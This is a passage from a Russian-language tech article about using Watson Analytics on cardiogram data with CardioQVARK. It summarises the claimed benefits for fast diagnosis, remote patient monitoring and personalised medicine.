Отдельно надо подчеркнуть, что инструментарий Watson Analytics позволил установить степень зависимости работы сердца от фаз Луны. Эта работа требует продолжения, и мы надеемся на интерес к ней со стороны медицины.

Конечно, большинство зависимостей могут быть рассчитаны и вручную, но главное в проделанной работе то, что подобные результаты могут быть получены моментально в автоматическом режиме и с визуальным отображением. Врач не тратит время на рутинный анализ данных, а сразу видит понятную картину, описывающую состояние пациента и может оперативно принимать решения.

Ведь чтобы оценить и понять, что происходило с пациентом потребуются лишь минуты. Врач-специалист сможет при этом оценивать целые серии кардиограмм, что даст более точную картину работы сердца пациента и позволит учитывать особенности этого пациента и его личную историю болезни. Кроме того, можно проследить состояние пациента не только в период его нахождения в стационаре, но и удалённо. Это позволит своевременно предупреждать о возможных отклонениях в состоянии здоровья и вовремя принять нужные меры.

Наше мнение разделяют и коллеги по эксперименту. Заместитель генерального директора CardioQVARK Сергей Садовский так прокомментировал итоги совместной работы: «В перспективе, применение анализа и машинного обучения на базе умных, экспертных систем, позволит врачу эффективно сортировать пациентов по степени тяжести состояния, диагностировать сердечные и некоторые внесердечные патологии, отслеживать значимые параметры организма. Уже сейчас это подтверждается на лабораторном уровне и в ходе добровольных клинических испытаний».

Проведенный эксперимент тем самым подтвердил, что применение современных технологий сможет значительно ускорить и повысить точность оценки состояния пациента.
Важно понимать, что весь эксперимент занял не более одной рабочей недели чистого времени. Это включало в себя первичную подготовку данных, статистический анализ и визуализацию при помощи Watson Analytics, интерпретацию результатов, а также консультации с медицинскими специалистами.

Использование когнитивных систем в медицине может значительно снизить стоимость лечения пациентов. Ведь если состояние пациента все время контролируется и вовремя принимаются нужные меры, средние показатели выздоровления оказываются гораздо лучше. И что является ещё более важным, можно приблизиться к решению задачи по оказанию персонифицированной помощи тем, кто в ней нуждается. От стандартного массового лечения к индивидуальному лечению с учетом всех особенностей каждого пациента – вот какой переход позволяет применение когнитивной аналитики Watson Analytics.
ссылка на оригинал статьи https://geektimes.ru/post/284250/